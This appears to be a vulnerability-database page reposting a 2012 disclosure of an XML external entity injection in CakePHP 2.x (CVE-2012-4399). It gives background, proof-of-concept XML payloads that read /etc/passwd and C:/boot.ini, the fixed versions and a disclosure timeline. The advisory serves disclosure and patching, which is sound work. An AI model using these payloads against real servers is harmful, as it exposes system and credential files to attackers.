CakePHP 2.x < 2.2.0-RC2 - XML External Entity Injection
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2012-4399 | 16 Jul 201200:00 | – | circl |
 | CVE-2012-4399 | 9 Oct 201223:00 | – | cve |
 | CVE-2012-4399 | 9 Oct 201223:00 | – | cvelist |
 | CVE-2012-4399 | 9 Oct 201223:00 | – | debiancve |
 | CakePHPallows remote attackers to read arbitrary files via XML data containing external entity references | 17 May 202205:07 | – | github |
 | CVE-2012-4399 | 9 Oct 201223:55 | – | nvd |
 | GHSA-5964-PQ8R-4Q62 CakePHPallows remote attackers to read arbitrary files via XML data containing external entity references | 17 May 202205:07 | – | osv |
 | Xxe | 9 Oct 201223:55 | – | prion |
 | PT-2012-5373 · Cakephp · Cakephp | 9 Oct 201200:00 | – | ptsecurity |
 | CVE-2012-4399 | 22 May 202502:22 | – | redhatcve |
10
# Exploit title: CakePHP XXE injection
# Date: 01.07.2012
# Software Link: http://www.cakephp.org
# Vulnerable version: 2.x - 2.2.0-RC2
# Tested on: Windows and Linux
# Author: Pawel Wylecial
# http://h0wl.pl
1. Background
Short description from the project website: "CakePHP makes building web applications simpler, faster and require less code."
2. Vulnerability
CakePHP is vulnerable to XML eXternal Entity injection. The class responsible for building XML (it uses PHP SimpleXML) does allow local file inclusion.
3. Proof of Concept
Linux:
<!DOCTYPE cakephp [
<!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
<xxe>&payload;</xxe>
</request>
Windows:
<!DOCTYPE cakephp [
<!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
<xxe>&payload;</xxe>
</request>
4. Fix
Fix applied in version 2.2.1 and 2.1.5. See official security release:
http://bakery.cakephp.org/articles/markstory/2012/07/14/security_release_-_cakephp_2_1_5_2_2_1
5. Timeline
1.07.2012 - vulnerability reported
13.07.2012 - response from CakePHP
14.07.2012 - confirmed and fix releaseData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Nov 2017 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 3.17.5
EPSS0.12091